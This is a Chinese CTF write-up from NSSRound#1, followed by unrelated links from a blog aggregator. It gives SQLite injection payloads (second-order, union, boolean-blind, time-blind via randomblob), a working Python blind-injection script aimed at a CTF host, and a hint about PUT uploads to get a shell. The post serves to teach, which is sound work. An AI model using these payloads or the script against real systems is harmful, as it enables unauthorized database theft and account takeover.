从NSSRound#1学到了什么
sql_by_sql
- 二次注入:
更改密码的功能形如:
update user set password='%s' where username='%s';
的语句就可以存在二次注入,即假设有个admin 我们直接创建一个用户为:
admin' -- -
然后更改密码时候执行语句就是:
update user set password='new passwd' where username='admin' -- -'
成功的修改了admin的密码
- sqlite注入:
SQLite中有一个类似information_schema功能的表sqlite_master
其中表里面有五个字段:
type:记录项目的类型,如table、index、view、trigger
name:记录项目的名称,如表名、索引名等
tbl_name:记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身
rootpage:记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL
sql:记录创建该项目的SQL语句
联合查询:
闭合注释:
-- -
/*
order by 确定字段数:
1' order by 5 -- -
判断回显位置:
-1' union select 1,2,3 -- -
查看版本:
-1'union select 1,2,sqlite_version() -- -
查询表明和列名,通过sqlite_master:
-1' union select 1,(select sql from sqlite_master where type='table'),3 -- -
-1' union select 1,(select sql from sqlite_master where type='table' and name='user_data'),3 -- -
查询数据:
-1' union select 1,(select group_concat(username,password)from users),3 -- -
布尔盲注:
- sqlite是不支持ascii函数的 所以只能通过字符的形式去比较
-1 or substr((select group_concat(sql)from sqlite_master),1,1)<'a'/*
得到表名:
1 and substr((select name from sqlite_master where type='table' limit 1,1),1,1)='a'
得到列名:
select sql from sqlite_master where type='table' and name = 'flag'
最后数据:
select flag from flag limit 0,1
这里加不加limit 0,1其实有时候都可以
时间盲注:
sqlite没有sleep()函数 可以用randomblob(N)
没有if 用case when代替
-1' or (case when(substr(sqlite_version(),1,1)>'3') then randomblob(300000000) else 0 end)/*
最后整合一个简单脚本,有点冗余 但是够用了:
import requests
url='http://1.14.71.254:28351/query'
def many_data():
result = ""
for total in range(600):
print(f"=====================第[{total}]次数据zinc======================")
minn=32
maxx=127
mid=(minn+maxx)//2
while minn<maxx:
select=f"-1 or substr((select group_concat(sql)from sqlite_master ),{total},1)>'{chr(mid)}'-- -"
data={'id':select}
resp=requests.post(url,data)
if "exist" in resp.text:
minn=mid+1
else:
maxx=mid
mid=(minn+maxx)//2
if mid==32 or mid==127:
break
result+=chr(mid)
print(result)
def flag():
result = ""
for total in range(1,600):
print(f"=====================第[{total}]次数据zinc======================")
minn=32
maxx=127
mid=(minn+maxx)//2
while minn<maxx:
select=f"-1 or substr((select flag from flag limit 0,1),{total},1)>'{chr(mid)}'-- -"
data={'id':select}
resp=requests.post(url,data)
if "exist" in resp.text:
minn=mid+1
else:
maxx=mid
mid=(minn+maxx)//2
if chr(mid)==" ":
break
result+=chr(mid)
print(result)
def table_name():
result = ""
for total in range(1,600):
print(f"=====================第[{total}]次数据zinc======================")
minn=32
maxx=127
mid=(minn+maxx)//2
while minn<maxx:
select=f"-1 or substr((select sql from sqlite_master where type='table' and name='flag'),{total},1)>'{chr(mid)}'-- -"
data={'id':select}
resp=requests.post(url,data)
if "exist" in resp.text:
minn=mid+1
else:
maxx=mid
mid=(minn+maxx)//2
if mid==32 or mid==127:
break
result+=chr(mid)
print(result)
#many_data()
# flag()
#table_name()
basic_check
- 提醒我们 当页面啥也没有 扫目录扫不出来 可以尝试看看有没有OPTIONS然后构造PUT文件上传最后拿shell
参考连接:
从NSSRound#1学到了什么的更多相关文章
- 【Python五篇慢慢弹】快速上手学python
快速上手学python 作者:白宁超 2016年10月4日19:59:39 摘要:python语言俨然不算新技术,七八年前甚至更早已有很多人研习,只是没有现在流行罢了.之所以当下如此盛行,我想肯定是多 ...
- 跟Unity3D学代码优化
今天我们来聊聊如何跟Unity学代码优化,准确地说,是通过学习Unity的IL2CPP技术的优化策略,应用到我们的日常逻辑开发中. 做过Unity开发的同学想必对IL2CPP都很清楚,简单地说,IL2 ...
- 重学hadoop技术
最近因为做了些和hadoop相关的项目(虽然主要是运维),但是这段经历让我对hadoop的实际运用有了更加深入的理解. 相比以前自学hadoop,因为没有实战场景以及良好的大数据学习氛围,现在回顾下的 ...
- 《学技术练英语》PPT分享
之前做的一个PPT,分享给博客园的同学. 下载地址: 学技术练英语.pdf 技术是靠自己去学的,学技术不能仅仅是看书看博客,最好是有实践,不管是做实验去验证,还是写各种代码去玩各种特性,还是造轮子都是 ...
- 前端学HTTP之数据传输
× 目录 [1]客户机处理 [2]集线器处理 [3]路由器1处理[4]路由器2处理[5]交换机处理[6]服务器处理[7]反向传输 前面的话 上一篇中,介绍了网络基础.本文将详细介绍客户机在浏览网页ab ...
- 前端学HTTP之网络基础
× 目录 [1]网络 [2]OSI [3]TCP/IP 前面的话 HTTP协议对于前端工程师是非常重要的.我们在浏览网站时,访问的每一个WEB页面都需要使用HTTP协议实现.如果不了解HTTP协议,就 ...
- Mina、Netty、Twisted一起学(八):HTTP服务器
HTTP协议应该是目前使用最多的应用层协议了,用浏览器打开一个网站就是使用HTTP协议进行数据传输. HTTP协议也是基于TCP协议,所以也有服务器和客户端.HTTP客户端一般是浏览器,当然还有可能是 ...
- 一起学微软Power BI系列-使用技巧(2)连接Excel数据源错误解决方法
上一篇文章一起学微软Power BI系列-使用技巧(1)连接Oracle与Mysql数据库中,我们介绍了Power BI Desktop中连接Oracle和Mysql的方法,其实说到底还是驱动的问题, ...
- 开始学nodejs —— 调试篇
新学习一种技术,肯定会遇到很多坑,我们需要找到这些坑,弄清楚这些坑出现的原因和其中的原理.这种操作就叫做调试. 程序调试的方法和工具多种多样,在这里我总结一下我在学习nodejs的过程中,学到的和用到 ...
随机推荐
- 使用 Blueprint 要注意 render_template 函数
此文章主要是为了记录在使用 Flask 的过程中遇到的问题.本章主要讨论 render_template 函数的问题. 使用 Flask 的同学都应该知道,项目中的 url 和视图函数是在字典里一一对 ...
- javaweb之模糊查询
模糊查询,主要通过sql语句来进行查询 一.dao层 加入模糊查询的方法 package dao; import java.sql.Connection; import java.sql.Prepar ...
- C#编写程序,用 while 循环语句实现下列功能
编写程序,用 while 循环语句实现下列功能:有一篮鸡蛋,不止一个,有人两个两个数,多余一个,三个三个数,多余一个,再四个四个地数,也多余一个,请问这篮鸡蛋至少有多少个. 代码: using Sys ...
- vue简单的父子组件之间传值
todo-list为例子: 代码: 父传子--------------属性 v-bind 子传父--------------$emit <!DOCTYPE html> <html ...
- 关于页面中css某些情况下出现不知原因的隔断解决办法
第一种方法:body{margin:0px;padding:0px position:absolute; top:0px;left:0px;} html{ width:100%; overflow-x ...
- Blazor 国际化多语言界面 (I18nText )
在实际使用中,我们经常会遇到需要把程序界面多种语言切换,适应不同地区使用者的需求,本文介绍一个我初学Blazor接触到的库,边撸边讲解. 包名: Toolbelt.Blazor.I18nText ht ...
- 嵌入式Servlet容器
配置嵌入式Servlet容器 ##Spring Boot里面内置了嵌入式的Servlet容器(tomcat) 点击pom.xml->右键->Diagrams->show Depend ...
- drf中的请求与响应
请求与响应(3星) 请求:Request REST framework 传入视图的request对象不再是Django默认的HttpRequest对象,而是REST framework提供的扩展了Ht ...
- 论文解读(S^3-CL)《Structural and Semantic Contrastive Learning for Self-supervised Node Representation Learning》
论文信息 论文标题:Structural and Semantic Contrastive Learning for Self-supervised Node Representation Learn ...
- ADO访问Excel
需要安装驱动:Microsoft Access Database Engine,可搜索下载,有64位和32位之分. 随便新建一个后缀名为udl的文件,双击打开.注意,现如今一般都是64位系统,双击打开 ...